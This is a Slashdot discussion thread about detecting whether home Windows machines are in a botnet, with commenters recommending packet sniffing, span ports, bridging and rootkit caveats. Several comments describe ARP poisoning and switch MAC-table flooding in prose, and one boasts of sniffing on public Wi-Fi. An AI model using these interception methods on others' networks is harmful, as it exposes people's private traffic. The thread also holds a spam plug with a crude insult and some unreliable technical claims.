Slashdot Mirror


How Can I Tell If My Computer Is Part of a Botnet?

ashraya writes "My father (not too computer literate) has a desktop and a laptop both running Windows in his network back in Hyderabad, India. I set up a Linksys router for him to use with his broadband service. For some reason, he reset the config on the Linksys, and connected it up without wireless security, and also with the default admin password for some time. As you would expect, both of the Windows computers got 'slow,' and the desktop stopped connecting to the internet completely for some reason. As I logged in remotely to 'fix' things, I noticed on the Linksys' log that the laptop was making seemingly random connections to high-numbered ports on various IPs. I did an nslookup on the IPs to see that they were all either in Canada or US, with Comcast and other ISP addresses. Is that a sign that the computers were in a botnet? Are the other hosts part of the botnet too? (I have since rebuilt the Windows hosts, and these connections are not happening now. I have also secured the Linksys.)"

491 comments

  1. Well the only fool proof way... by ls671 · · Score: 5, Informative

    Well the only fool proof way that I can envision is the following

    1) Plug you father computer into a HUB ( not a switch, unless it has a special port for this usage)

    2) Plug the router into this HUB

    3) Plug a Linux machine into the HUB and use tcpdump to examine traffic.

    This is what security experts do.

    --
    Everything I write is lies, read between the lines.
    1. Re:Well the only fool proof way... by jspenguin1 · · Score: 5, Informative

      You can also use a host with two interfaces and set up bridging or routing with NAT. If you are running custom firmware you can do this straight on the router itself.

    2. Re:Well the only fool proof way... by Anonymous Coward · · Score: 1, Informative

      Or just use netstat

    3. Re:Well the only fool proof way... by Anonymous Coward · · Score: 0

      Rootkits can hide it.

    4. Re:Well the only fool proof way... by ls671 · · Score: 5, Informative

      netstat could be modified not to report the botnet connections if you are owned, hence the fool proof solution.

      --
      Everything I write is lies, read between the lines.
    5. Re:Well the only fool proof way... by neowolf · · Score: 5, Informative

      The hard part nowadays (although maybe not a problem in India) is actually finding a HUB. It is very difficult to actually buy a hub anymore, and most "hubs" sold in the US anyway are actually low-end unmanaged switches, so you can't sniff traffic on them.

      In answer to the question though (I'm sure redundant at this point) is: YES- they are probably part of at least one bot-net, and are probably infected with all sorts of other nastiness. The best thing to do is re-secure the wireless router, and the all-too-often-recommended reformat and re-install of Windows. I wouldn't even try to salvage the current installs at this point.

    6. Re:Well the only fool proof way... by ls671 · · Score: 4, Interesting

      Agreed, I do it from my Linux router which I assume is not owned.

      It is nevertheless better to reserve a machine on your network for just this usage. Nothing installed on it but tcpdump and similar tools. You should even disconnect than machine from the network when not in use. Again, that's what security expert firms do.

      The important point is to be confident than what you are looking at is not coming from something that is already owned. Many root kits modify netstat, tcpdump and the like... ;-)

      --
      Everything I write is lies, read between the lines.
    7. Re:Well the only fool proof way... by endikos · · Score: 5, Informative

      Or they use a "real" switch that has port mirroring, or a passive ethernet tap.

    8. Re:Well the only fool proof way... by iamhigh · · Score: 5, Funny

      Well the only fool proof way

      If that sentence doesn't end with "from orbit" and have "nuke it" in there somewhere it just isn't true!

      --
      No comprende? Let me type that a little slower for you...
    9. Re:Well the only fool proof way... by Algorithmn · · Score: 1, Informative

      I use Wireshark or custom monitoring tools and not TCPDump. http://video.google.com/videoplay?docid=4204600308807371535&hl=en "Automated Web-based Malware Behavioral Analysis" from the OWASP AppSec conference circa 2008.

    10. Re:Well the only fool proof way... by Drakin020 · · Score: 1

      Heck why can't you just run Ethereal on the local PC and just monitor what comes and goes from the local interface?

      --
      The greatest revenge in life is massive success.
    11. Re:Well the only fool proof way... by sofar · · Score: 5, Informative

      You don't need a HUB at all. Linux bridging allows you to use two ports on a system 'as a HUB', while still providing you with the ability to tcpdump a port on the bridge. You just add both interfaces to your bridge and stick the linux bridge in between the real router and the infected machine. Only thing needed is a linux system with 2 physical ethernet ports.

    12. Re:Well the only fool proof way... by ls671 · · Score: 1

      Then you are stuck with buying a slightly more expensive switch with a special broadcast (HUB like) port designed for just this usage. Many have those. Most corporate switches have them in order to enable security audits or other network surveillance tools.

      --
      Everything I write is lies, read between the lines.
    13. Re:Well the only fool proof way... by Anonymous Coward · · Score: 1, Insightful

      No need for a hub, use ARP spoofing instead.

    14. Re:Well the only fool proof way... by RetroGeek · · Score: 1

      You can always use a splitter. It has one male and two female ends.

      Can't find one? Then splice some Cat wire together

      --

      - - - - - - - - - - -
      I am a programmer. I am paid to produce syntax not grammar. Deal with it.
    15. Re:Well the only fool proof way... by Murpster · · Score: 1

      Well the only fool proof way to make popcorn is to nuke it. To see if your computer is part of a botnet, just run the totally amazing software from FinallyFast.com. I've heard that iamhigh is Mario Dinis and there's proof of him fucking his sister Lucy in some photos taken by an ISS astronaut in orbit. Better?

    16. Re:Well the only fool proof way... by Anonymous Coward · · Score: 0

      You don't need 2 NICs. You can easily use only one with virtual ethernets. The inbound and outbound will be different interfaces but will use the same hardware.

    17. Re:Well the only fool proof way... by Anonymous Coward · · Score: 5, Funny

      Did you know that both wireshark and tcpdump use libpcap? Wireshark has a pretty GUI, tcpdump is the command line version.

      Perhaps it would help if I explained that in video format.

      Captcha was "obvious", this is unnerving.

    18. Re:Well the only fool proof way... by Anonymous Coward · · Score: 1, Insightful

      Actually you can do it with just one physical interface, isn't too hard.

    19. Re:Well the only fool proof way... by ls671 · · Score: 1

      Yeah, this works too, not as effective in order to snoop-in without being detected, hmmm. I mean without disrupting normal business operation but it would work for his computer father.

      Dedicated port on switches are more standard for security audits. You just plug a laptop with one network interface on it et voila.

      Also, routing traffic through your Linux changes something to the network topology so you are actually interfering with the network compared to stealthily listening.

      --
      Everything I write is lies, read between the lines.
    20. Re:Well the only fool proof way... by Anonymous Coward · · Score: 0

      The hard part nowadays (although maybe not a problem in India) is actually finding a HUB. It is very difficult to actually buy a hub anymore, and most "hubs" sold in the US anyway are actually low-end unmanaged switches, so you can't sniff traffic on them.

      But making a passive ethernet tap isn't that hard.

    21. Re:Well the only fool proof way... by Sam36 · · Score: 0

      Using a hub? UGH. Just use ettercap. I use it all the time on public wifi's

    22. Re:Well the only fool proof way... by Anonymous Coward · · Score: 5, Interesting

      I agree with your theory, however in practice, a hacker clearly has several million low hanging fruits running unpatched xp with antivirus which expired 60 days after the computer was purchased in 2006.

      The idea that a botnet is really going to worry about the fraction of the fraction of a percent that knows about netstat seems improbable, though obviously not impossible, which is why I agree with you in theory, but in practice netstat would probably answer his question when a hub and a linux box is inconvenient. If someone has an example of a virus masking its connections through netstat I would both eat crow and be interested to hear it.

    23. Re:Well the only fool proof way... by gad_zuki! · · Score: 1

      Or use a real switch with a port mirroring option. Or use wireshark installed locally. Regardless, this is remote support so he'll probably have to use some local options and the linksys log, netstat, etc. If he can manage a capture with wireshark then he's 99% of the way there.

    24. Re:Well the only fool proof way... by Anonymous Coward · · Score: 0

      I would suggest to instead install a packet capture program, such as Wireshark. Your father may have some software on his machine that may initiate communications on a legitimate basis (like software that updates itself, etc). Another tip would be to just simply click the network connection and see if the outbound traffic is incrementing at a high rate (which may be skewed if you are remoted into the machine at the time). Perhaps you could give him instructions while not remoted in, and see if there are any significant increases. While these methods aren't completley foolproof, I would think that it's a good start.

      Another suggestion would be to run Malwarebytes, HijackThis, or Spybot Search & Destroy.

      There are multiple ways of skinning this cat, and I'm quite sure that you will get many posts with even better ideas. I'm just trying to take a simplistic approach, versus getting a hub, sniffer, and a promiscuous nic up & running.

    25. Re:Well the only fool proof way... by Anonymous Coward · · Score: 0

      Nope. He said "from orbit", not "in orbit."

    26. Re:Well the only fool proof way... by krappie · · Score: 1

      Are we assuming that the packets will be obvious IRC packets or something? It would be suggestive of a botnet if lots of traffic was moving while the computer was idle, but that could always be background programs downloading updates or whatever. If a botnet used any sort of encryption, or even a binary protocol instead of ascii, it could be extremely difficult to tell it's a botnet by just looking at packets.

    27. Re:Well the only fool proof way... by ls671 · · Score: 1

      >> 1) Plug you father computer into a HUB
      >> ( not a switch, UNLESS it has a SPECIAL PORT for this usage)

      > Or they use a "real" switch that has port mirroring, or a passive ethernet tap [sun.com].

      Thanks ! ;-)))

      --
      Everything I write is lies, read between the lines.
    28. Re:Well the only fool proof way... by sofar · · Score: 1

      if you're paranoid, sure. Don't use this method to 'snoop' data where you are not allowed.

      For a sysadmin, this is a great way to isolate a machine without touching it. I doubt a botnet is smart enough to detect MAC address changes...

    29. Re:Well the only fool proof way... by dmeredith63 · · Score: 1

      Actually "security experts" don't need a hub...just flood the switch with packets and the switch will down grade itself to a hub...then in your filters remove the packets that you used to flood the switch....IMO -SuperDale

    30. Re:Well the only fool proof way... by bpfinn · · Score: 2, Interesting

      You could also get a network tap. I've had my eye on the Teeny Tap for a while.

    31. Re:Well the only fool proof way... by adamchou · · Score: 1

      Why not just tcpdump from the father computer or use something like wireshark?

    32. Re:Well the only fool proof way... by ls671 · · Score: 1

      Did you read my sign ?

      --
      Everything I write is lies, read between the lines.
    33. Re:Well the only fool proof way... by taskiss · · Score: 4, Funny

      Is a father computer anything like a mother board?

      --
      - real hackers don't have sigs -
    34. Re:Well the only fool proof way... by dotgain · · Score: 2, Informative

      Then you'll need a switch supporting 802.1q in order to allow a device with a single port to 'sit between' two other devices.

    35. Re:Well the only fool proof way... by GravityStar · · Score: 1

      This actually behaves as a multiplexer. You can transmit 2 ethernet signals on one ethernet wire, but you'll have to have another splitter at the other end of the ethernet wire.

      Bottomline, this doesn't help as a replacement for a hub.

    36. Re:Well the only fool proof way... by Fieryphoenix · · Score: 1

      it would work for his computer father.

      What?? His father is a computer? Then I bet the father is part of the botnet too! Oh noes!

    37. Re:Well the only fool proof way... by B'Trey · · Score: 4, Informative

      It is nevertheless better to reserve a machine on your network for just this usage. Nothing installed on it but tcpdump and similar tools.

      Or boot from a Linux Live CD.

      Also, some switches support spanning ports, which will allow you to sniff the traffic on another port. Your typical home network dumb switch probably doesn't support this, but if you have temporary access to a higher end switch, it makes such tasks much easier. You can pick up older switches that support this fairly cheap on Ebay, although you probably won't want to spend the money for a one-time usage.

      --

      "The legitimate powers of government extend only to such acts as are injurious to others." Thomas Jefferson.

    38. Re:Well the only fool proof way... by DarkOx · · Score: 1

      Most switch used in a business should support arbitrary port mirroring. That is you can duplicate the input out put or both of any port to any of the the other ports. Good equipment will even support remote mirroring and will be able to encapsulate the traffic on one port and send it all to some other location of your selection.

      --
      Repeal the 17th Amendment TODAY! Also Please Read http://www.gnu.org/philosophy/right-to-read.html
    39. Re:Well the only fool proof way... by owlstead · · Score: 1

      There are other ways (as mentioned, computers set up as man in the middle) or managed switches. However, somewhere in storage is my old hub, just in case. Don't forget that many routers are actually also managed switches, your router may have the ability to do this as well. Or look for a cheap one that can act like this, consumer targeted routers are cheaper than most managed switches (and likely much slower, but for this kind of thing they should be fine).

    40. Re:Well the only fool proof way... by DarkOx · · Score: 1

      For the most part he probably could do that; but a well enough designed root kit could possibly replace the operating system interfaces libcap uses and not report its own traffic. That is certainly not your run of the mill botnet software or malware but stuff that can do that sorta thing does exist.

      --
      Repeal the 17th Amendment TODAY! Also Please Read http://www.gnu.org/philosophy/right-to-read.html
    41. Re:Well the only fool proof way... by sofar · · Score: 1

      but then you are not bridging, but routing, which is significantly different.

    42. Re:Well the only fool proof way... by jafiwam · · Score: 5, Interesting

      I don't have any links, but I personally cleaned a PC that had a trojan on it that used netstat hiding tricks. I found it accidentally by looking at files I couldn't delete in the temp folder (trojans often mess with the permissions to make clean-up less likely).

      The contents of the file was a text printout of the netstat command, re created every fifteen or so seconds, MINUS the offending connections. Just by waiting and opening the file again I got new netstat info.

      Running the command, showed the contents of the text file, not the actual output of netstat. I could see traffic going on using a packet sniffer elsewhere on the network, so knew something was up.

      Eventually just wiped and reinstalled anyway because it was faster than fighting it bit by bit.

      So, there are such things out there, yeah, it doesn't make a whole lot of sense for them to spend much time on it, but a lot of that stuff is made from "kits" now days anyway so it's not a big deal to enable the feature.

    43. Re:Well the only fool proof way... by Dalzhim · · Score: 1

      He asked "Better?" not "Perfect?". So the answer is "Yep", not "Nope".

    44. Re:Well the only fool proof way... by postbigbang · · Score: 1

      Although this looks good on the surface, there are a lot of port mirrors that aren't very good, and don't deliver a true mirror with as much as half or more of traffic falling off the edge of the RJ-45 connector into the bit bucket.

      In the desired 'is my dad p0wnd' question above, a cheapo mirror might catch the odd address that makes no sense. But in a lot of small org port mirrors, you'll miss A LOT of data. Not foolproof. Only an insertion device truly captures all if it can keep up-- and not become its own bottleneck. Even ring -1 vm virtual interfaces can be corrupted.

      --
      ---- Teach Peace. It's Cheaper Than War.
    45. Re:Well the only fool proof way... by owlstead · · Score: 1

      Hmm, can anyone explain the crazy coloring of that RJ-45 shown? It immediately struck me as weird, the pairs are correct, but only the green wire seemed to be wired correctly. Wouldn't that matter if the wire on the other side used the T-568B scheme I normally use?

      Color codes:

      http://www.incentre.net/content/view/75/2/

    46. Re:Well the only fool proof way... by timeOday · · Score: 1

      The best thing to do is re-secure the wireless router, and the all-too-often-recommended reformat and re-install of Windows. I wouldn't even try to salvage the current installs at this point.

      I agree about re-installing, but securing the wireless router doesn't really matter. It's possible this vulnerability allowed somebody in the neighborhood to compromise a vulnerable service on his system, but I think it's more likely people installing downloaded trojan horse software from the internet, or exploiting a browser bug. After all, botnets are all about mass infections, not onesies-twosies infections of computers in the immediate vicinity. The main purpose of securing your wireless router is just to keep others from leaching your bandwidth.

    47. Re:Well the only fool proof way... by PayPaI · · Score: 1
    48. Re:Well the only fool proof way... by Artifakt · · Score: 2, Interesting

      I'd assume you want to limit that to a virus actually spreading in the wild and manipulating netstat where it's running on an otherwise properly working Windows box. I'm pretty confident there's been cases where a laboratory proof of concept manipulation of netstat, nmap, or others have been accomplished. The real question is have any of these shown up on an actual machine in the wild, whether that machine was running a botnet or showing some other compromise, i.e. just being infected via to a root-kit. For netstat, ideally, let's see an exploit that is transmitted by other methods than physically being in the same room as the PC, and infecting a machine that was behind a router and until then had both a local, wired network and internet access that worked.
              Something that can only spread to machines that are directly connected to a particular brand of cable modem and only when that device is running old firmware, or only via an improperly set up wireless connection, or where the hacker has to first gain unaccompanied physical access, isn't really much of a netstat bug, even if it affects netstat once those other conditions are first met. It's sort of like complaining that it's possible to pry a safety deposit box open with a simple crowbar, if you can just first get unaccompanied access to the vault where those boxes are kept. The real question becomes, can you get the other, preliminary conditions, or not?

      --
      Who is John Cabal?
    49. Re:Well the only fool proof way... by rantingkitten · · Score: 1

      Couldn't he just run Wireshark on the Windows box in question? tcpdump exists for Windows, as well -- just run it, have it dump to a logfile for an hour, and examine at your leisure.

      --
      mirrorshades radio -- darkwave, industrial, futurepop, ebm.
    50. Re:Well the only fool proof way... by Tacvek · · Score: 3, Insightful

      Ethernet using cat5 cabling was specifically designed such that the cheapest hubs would just be RJ45 jacks wired together passively. So one could make a "hub cable" in theory.

      Interestingly another instructable linked to the one he showed, was about how to use 1 cat5 cable to every jack in the house to support both phone and Ethernet data.

      This person was apparently unaware of the fact that a phone cords 6P4C or 6P2C cable will happily fit into the wider 8P jack. (That is to say that phone cable will plug into Ethernet jacks by design).

      Further the Ethernet wiring standard deliberately has pins 3-6 (which correspond to pins 2-5 in a phone style jack, which are the 4 that are normally connected in a phone jack) connected identically to standard phone cord. Further Pins 4 and 5 are deliberately unused in 100Mbs Ethernet, which is the one pair necessary for a single phone line.

      Thus if you have a house wired for Ethernet but not phone, adding support for phones to all the jacks is as simple as using Ethernet switches that connect pin 4 of all jacks together and pin 5 of all jacks together, and then plug a pone line into one of the jacks in the switch. (I would actually be surprised if there were not Ethernet switches specially designed for that).

      --
      Stylish sheet to fix many problems in Slashdot's D3: https://gist.github.com/801524
    51. Re:Well the only fool proof way... by dotgain · · Score: 1
      But in this case bridging is exactly what you want to do, as the network topology between the potentially infected host and its router is unchanged. If you route instead, you'll probably also need to NAT also, which could confuse the issue, possibly allowing the bot to determine the topology has changed and prompt its defense mechanism (which is probably to shut down).

      Sure, the majority of bots probably wouldn't notice (I routed through my Linux box to detect a bot before I knew how to bridge through it instead, and sure enough, hundreds of outbounds to port 25), but I believe 'best practice' would be sniff as transparently as possible. That's either with

      • a Hub (hard to find now, thank fuck)
      • something that behaves like one, such as a SPAN (ciscospeak, sorry) port, software ethernet switch (Linux or similar bridging).
      • the (presumably uncompromised) router being able to run packetsniffer software.

      All those spouting on about using ARP table attacks to confuse the switch into being a hub shut the hell up. If you want to do this seriously, get yourself a cheap Cisco 2950 or something that supports 802.1q, monitor ports (SPAN in ciscospeak). I tried to make something similar out of a PowerMac G4 full of gigabit cards for my lab, but found Linux bridging and STP to be rather buggy. In particular, found an edge case where ports would not block when the Linux host:

      • Was the STP root, and
      • Had a bridging loop occuring between two of ITS ports.

      I had a look at linux/net/stp.c, and was quickly reminded why I'm a network admin, network admin, network admin and not a developer, developer, developer :)

    52. Re:Well the only fool proof way... by Anonymous Coward · · Score: 0

      A bridge is a layer two device, so creating a bridge and sniffing traffic on it does not involve routing (layer 3 function). It is like a two port switch, so it is invisible to the devices on either side. If you hub out a PC, it will temporarily go down, so it is not any better than using a bridge when it comes to user disruption.

    53. Re:Well the only fool proof way... by whoisisis · · Score: 1

      > 2) Plug the router into this HUB

      Ettercap: http://ettercap.sourceforge.net/ removes the need for a HUB.
      It uses arp table poisoning to fool your dads computer into thinking your Linux box
      is the router, allowing you to view all traffic.

      A word of warning though: do /NOT/ use ettercap on other networks than your own,
      and do it behind a router. Your ISP will not think highly of you if you ARP poison the
      entire neighbourhood...

    54. Re:Well the only fool proof way... by Anonymous Coward · · Score: 0

      The OP was talking about a span port, so you wouldn't need 802.1q (though I think most switches with an enterprise feature like span ports will also support 802.1q).

    55. Re:Well the only fool proof way... by Anonymous Coward · · Score: 0

      I'm a security expert, and I wouldn't do it that way. There's lots of ways to check this, and plenty that don't involve using another computer.

    56. Re:Well the only fool proof way... by maxume · · Score: 1

      You can't trust any software running on the box in question.

      It's paranoid, but it is the only way to be sure. Using a live cd seems more practical than keeping a specially configured box just for network sniffing though.

      --
      Nerd rage is the funniest rage.
    57. Re:Well the only fool proof way... by xonar · · Score: 1

      What's wrong with doing some good ol' ARP spoofing? I mean, unless you're on a production environment I don't think it matters. Beats buying a worthless piece of hardware.

    58. Re:Well the only fool proof way... by mysidia · · Score: 1

      This is a good tactic, but it's not proof unless you leave that setup in place 24/7 for long periods of time, and you log everything, and correlate everything somehow (and are perfect at filtering only legitimate traffic from what you are inspecting).

      The issue is some botnet nodes may be especially stealthy, and only perform activities at random 'trigger times'

      Some may be designed to only generate traffic when a lot of legitimate user traffic is also occuring.

      E.g. the botnet software waits until you're surfing the web and have a threshold number of URLs open; this can be especially hard to detect, if the botnet uses DNS and HTTP as its communication channel.

      Is that GET request for what appears to be a PNG file a normal part of one of the pages I was visiting, or is that a covert botnet communication?

      Is that Async XML get and JSON transmission a normal function of some Web2.0 site you were visiting, or is it sensitive information from your PC obscured in some unknown way?

      It can be really hard to tell.. especially if you are running some apps that legitimately connect to the internet for various reasons, and the botnet code tries to obscure its communications by making its traffic look like that used by those legitimate apps...

    59. Re:Well the only fool proof way... by maxume · · Score: 1

      I've ruined far more popcorn sticking it into microwaves of higher power than the packaging anticipated than I have cooking it on the stove.

      Apparently, when it comes to the microwave, I am the better fool. When it comes to the stove, I have a sense of how hot the pan can be before it will burn the popcorn.

      --
      Nerd rage is the funniest rage.
    60. Re:Well the only fool proof way... by sofar · · Score: 1

      Yes, but you're assuming that any and all possible bots running on the machine will not be capable of hiding for a local wireshark process running on the windows machine.

      That's probably a reasonable assumption, until you encounter one that does exactly this...

    61. Re:Well the only fool proof way... by masterlogan2000 · · Score: 1

      The hard part nowadays is actually finding a HUB. It is very difficult to actually buy a hub anymore, and most "hubs" sold in the US anyway are actually low-end unmanaged switches, so you can't sniff traffic on them.

      I had the same problem at a customer site where one of the IDIOTS had packets being sent on some high numbered ports because of a virus they had downloaded. It was EXTREMELY TOUGH finding an actual hub, but I was finally able to hunt one down at Best Buy for around $15.

      I swear, you do a search for network hub and you get matches ranging from network switches to routers to usb hubs. Do enough searching, though, and you will find one... eventually.

    62. Re:Well the only fool proof way... by Squozen · · Score: 1

      No, you can't trust any tools that are running on a compromised OS. Google 'rootkits'.

    63. Re:Well the only fool proof way... by Anonymous Coward · · Score: 0

      Viruses can interfere with security software, hampering or preventing detection. For example, Conficker blocks Wireshark.

    64. Re:Well the only fool proof way... by SCPRedMage · · Score: 4, Funny

      And he totally isn't being paid to refer you!

      Because, I mean, he only gets paid when he's SUBTLE.

      --
      My sig can beat up your sig.
    65. Re:Well the only fool proof way... by Anonymous Coward · · Score: 0

      Overload the mac address table of the switch and it will dump all the traffic to all ports.

      The switch will be in protection mode.

      To overload the traffic, write a little shell script that change the mac address of the NIC in a loop. High end switches have a mac address table of 8192 entries, so low end should be very low.

      An another option is having 1 machine with 2 Nics, connect 1 nic to the router, the other one your dad's machine (you gonna need crossover cables), and create a bridge between both NICS. Start dumping hte traffic of the bridge with tcpdump

    66. Re:Well the only fool proof way... by easyTree · · Score: 1, Insightful

      A horse is a horse, even if someone is paid to tell you so.

    67. Re:Well the only fool proof way... by hymie! · · Score: 3, Funny

      A horse is a horse,

      Of course! Of course!

    68. Re:Well the only fool proof way... by mplex · · Score: 1

      Actually tshark is the command line version of wireshark, and it is the first tool I reach for unless I need some capabilities of tcpdump. Tshark will give you a lot more information and protocol decoding that is very useful for troubleshooting application layer protocol issues without the need for loading wireshark.

    69. Re:Well the only fool proof way... by maharvey · · Score: 1

      No, a 'computer father' is like a 'godfather', only digital.

    70. Re:Well the only fool proof way... by bugg · · Score: 4, Insightful

      In practice, I'd run the sniffer on the machine if there was already one there. The absence of the sniffer revealing traffic does not mean there is no traffic, but if the sniffer shows traffic it's a safe bet it's real. Frankly I've yet to hear of any rootkits that would let the sniffer still work and not show the compromised traffic, I think it's more of an in-theory than in-practice. Because I mean, I suspect users who know how to operate sniffers are an edge case for botnet authors. If you've got the sniffer on the machine and can easily run it, why not? A fine alternative is setting up a span port (monitor port) on the switch. I work with managed switches all day, so I'm spoiled in this regard - I don't really think that's an option for the OP however, linksys switches tend to be pretty dumb.

      --
      -bugg
    71. Re:Well the only fool proof way... by matty619 · · Score: 1

      Just install wireshark on the windows machine in question and look with your eyes. You don't need Linux kung-fu for everything. Especially since it sounds like he's RDP'ing in from half way around the world.

    72. Re:Well the only fool proof way... by X0563511 · · Score: 0, Flamebait

      Because everyone knows the best way to inspect a compromised machine... is from the compromised machine itself!

      Buddy, tell your employer not to quit their day job.

      --
      For large sets, this will be our guide even unto death, for the LORD will work for each type of data it is applied to...
    73. Re:Well the only fool proof way... by maxume · · Score: 1

      Sure. I am usually pretty calm about investigating things, I was mostly explaining the line of thought.

      Your point about any suspicious traffic that does show up is a good one (I guess the question then becomes whether doing full on sniffing on the box is worth more than just running netstat, or some similar utility, I use TCPView).

      --
      Nerd rage is the funniest rage.
    74. Re:Well the only fool proof way... by Anonymous Coward · · Score: 0

      As his father is "not too computer literate," do you really expect him to connect a Linux machine to a hub? That said, not bad advice.

    75. Re:Well the only fool proof way... by Lord+Kano · · Score: 1

      I keep an old industrial grade hub around, just in case.

      LK

      --
      "Hi. This is my friend, Jack Shit, and you don't know him." - Lord Kano
    76. Re:Well the only fool proof way... by SCPRedMage · · Score: 0

      A shill is a shill is a shill.

      --
      My sig can beat up your sig.
    77. Re:Well the only fool proof way... by easyTree · · Score: 1, Insightful

      You see what you want to.

    78. Re:Well the only fool proof way... by easyTree · · Score: 0, Redundant

      X0563511 (793323) has made you their foe.

            http://slashdot.org/~X0563511/

      Thanks :D

    79. Re:Well the only fool proof way... by mysidia · · Score: 1

      I've actually seen infected machines where the software (or the hacker) mucked with netstat to hide IRC connections.

      Don't see it that often on Windows machines, but DO see it very often, if a UNIX machine has been infected or compromised.

      I also see Windows machines where tools like netstat, regedit, sfc, taskmgr, mmc, and others have simply been deleted, safe mode has been disabled, control+alt+del has been disabled: the malware author probably figures that since most Windows users don't use these tools on a daily basis, deleting tools isn't likely to reveal there's an infection, while at the same time, they make it harder for the user to figure out there is, or to follow canned instructions from others to detect/do anything about it.

    80. Re:Well the only fool proof way... by Dice · · Score: 1

      It is T-568B. Check the pin numbers, they're not sequential.

    81. Re:Well the only fool proof way... by budgenator · · Score: 4, Interesting

      Yes it does seem possible and you might even get away with it in real life, but the idea of running a 48VDC pair that also uses a 100VAC ring signal right beside your ethernet pairs is scary. Also every time the telephone rings it would induce a hellacious amount of electrical noise into the data pairs; it would probably shut down any data packets on the network and possibly blow out your ethernet cards. If another technician was faninng the wires and happened puncture his skin with them the jolt from the 48VDC would probably make you number ten thousand dirty rotten SOB, a 100VAC ring signal would definitely make you number ten thousand dirty rotten SOB. Telephone and ethernet really don't play well together.

      --
      Apocalypse Cancelled, Sorry, No Ticket Refunds
    82. Re:Well the only fool proof way... by mysidia · · Score: 1

      I strongly recommend against using a hub for this, actually. The problem is related to connection speed.

      Most networks are utilizing 100meg or 1 gigabit full duplex nowadays. Hubs are available in essentially two flavors: 10 megabits half-duplex, and 10/100 megabits half; hubs are inherently incapable of full duplex.

      The half-duplex characteristic of hubs results from the fact that only ONE station connected to a hub can be transmitting at a time. Instead of every node having the ability to simultaneously transmit and receive a full 100megabits, across the hub, there is a SINGLE 100 megabit collision domain; the total available throughput is DIVIDED by the number of stations attempting to transmit at any moment.

      So if you have two stations connected to a hub, instead of each being able to simultaneously transmit and receive 100 megabits at a time (for a total throughput of 200 megabits), the available bandwidth is cut in half. 1 station can transmit 100 megabits, while they are transmitting, all other stations can only receive.

      Getting a managed switch with mirror/SPAN port capabilities, or using a PC with two NICs is definitely technically superior.

    83. Re:Well the only fool proof way... by mysidia · · Score: 1

      They're showing the PINout for the jack itself, not how the 8P8C plastic connector that plugs into the jack gets wired.

      Note the sequence of the numbers of the PINs left to right reads 2, 1, 3, 5, 4, 6, 8, 7

      As they say This diagram is usually included with new Category 5e jacks from any other vendor. Actually, this may be somewhat dependant on the ordering used by the vendor of the jack, and whether you're using T568A or T568B, as to where each wire is physically punched on the jack.

    84. Re:Well the only fool proof way... by SilentTristero · · Score: 1

      The problem is that the skriptkiddie virus kits all get written by a few smart folks, who pass around techniques like patching netstat (or the network stack). So it's not that the botnet author worries about this, it's that it's a known technique so all the rootkits just implement it as a matter of course. Hang around the cracker groups a while and your eyes will be opened.

    85. Re:Well the only fool proof way... by magarity · · Score: 1

      A horse is a horse, even if someone is paid to tell you so.

      Ah, but are they being paid to tell me an old nag will be the next Derby winner?

    86. Re:Well the only fool proof way... by DRBivens · · Score: 1

      A horse is a horse, even if someone is paid to tell you so.

      That well may be, but a medical study ain't necessarily an unbiased medical study, nor is a product review necessarily an unbiased product review if it was funded by the makers of the things being studied/reviewed.

      Ask any ad pro--the best advertisements are those that don't LOOK like ads. "Plain Joe" testimonials are even better. "Heck, darlin', this here ain't one o' them ADS, it's a letter written by someone like ME!"

      You're not recommending folks take things at face value without knowing their source, are you??

      --
      You have the right to remain silent. If you don't, anything you say will be misquoted and used against you.
    87. Re:Well the only fool proof way... by easyTree · · Score: 0

      You're not recommending folks take things at face value without knowing their source, are you??

      Nooooo; I'm recommending a firewall which would help solve the problem at hand and prevent it from re-occurring.

      After all, that's what this thread is about.

    88. Re:Well the only fool proof way... by phorm · · Score: 1

      And possibly a cross-over network cable if one or both NIC's aren't autosensing of such things.
      I believe that it's more common of switches than NICs to sense a crossover

    89. Re:Well the only fool proof way... by FSWKU · · Score: 1

      Take-off and nuke the site from orbit. It's the only way to be sure...

      --
      "So after all this, you make my case for me. To end this stalemate, you must die..."
    90. Re:Well the only fool proof way... by egcagrac0 · · Score: 1

      If you can't find a HUB, buy a real switch.

      Real switches have monitoring functions, which allow you to snoop on all the traffic going to and from another port.

      Some auction site should have lots of ProCurves and friends coming available - 2424m's are the one I like.

    91. Re:Well the only fool proof way... by Pollardito · · Score: 1

      that's too much work. unplug his PC and see if everyone on earth gets less spam the next day

    92. Re:Well the only fool proof way... by ls671 · · Score: 1

      > Plug you father computer into a HUB
      > ( not a switch, UNLESS IT HAS A SPECIAL PORT FOR THIS USAGE)

      corporate switches have a dedicated port for this

      --
      Everything I write is lies, read between the lines.
    93. Re:Well the only fool proof way... by modestgeek · · Score: 1

      I personally use a Switched Port Analyzer (SPAN) port, port mirroring or monitor port. Different manufacturers call it different things but they all have the same purpose. It's been a LONG time since I've used a hub. Managed switches are far better because they don't degrade performance on the network and you can sniff all you want. In a home environment, it won't matter much, but you don't want to dumb down a multi-gigabit network in a corporate environment with a hub!

      Snort can do a pretty darn good job at detecting this type of traffic unless it's encrypted. Emerging Threats keeps rulesets just for this purpose!

    94. Re:Well the only fool proof way... by xianthax · · Score: 3, Interesting

      not really...

      POE uses the two spare pairs to provide 48VDC

      POE+ uses the spare pairs and induces a DC offset onto the differential signal pairs ala "phantom power".

      in either case the specified current is much higher than a phone line can provide.

      doubtful the AC ring would have any effect, the frequency is far too low and current is extremely limited and the differential nature of ethernet's signaling would cancel out noise of this type anyway.

      however, the analog phone line most likely would pick up some rather obnoxious noise from the ethernet lines. the carrier frequencies are clearly well above the audio spectrum but you could likely hear packet bursts, like setting your cell phone next to a speaker.

    95. Re:Well the only fool proof way... by ub3r+n3u7r4l1st · · Score: 1

      or use WPE Pro to mess up the other end.

    96. Re:Well the only fool proof way... by Anonymous Coward · · Score: 0

      It's easy to turn a hub into a switch. Just overflow the ARP table with random addresses until it fails into becoming a hub. This is a very common tactic for sniffing traffic on switches.

      http://www.irongeek.com/i.php?page=backtrack-3-man/macof

    97. Re:Well the only fool proof way... by CmdrPorno · · Score: 1

      "You just add both interfaces to your bridge and stick the linux bridge in between..."

      Does this sound dirty to anyone else?

      --
      Sent from my iPhone
    98. Re:Well the only fool proof way... by jd2112 · · Score: 1

      By any chance has anyone set up a live disk with just tcpdump?

      --
      Any insufficiently advanced magic is indistinguishable from technology.
    99. Re:Well the only fool proof way... by Anonymous Coward · · Score: 0

      Or install OpenWRT on said router and run tcpdump from there... Works for me.

    100. Re:Well the only fool proof way... by jd2112 · · Score: 1

      Is nuke it from orbit. It's the only way to be sure.

      --
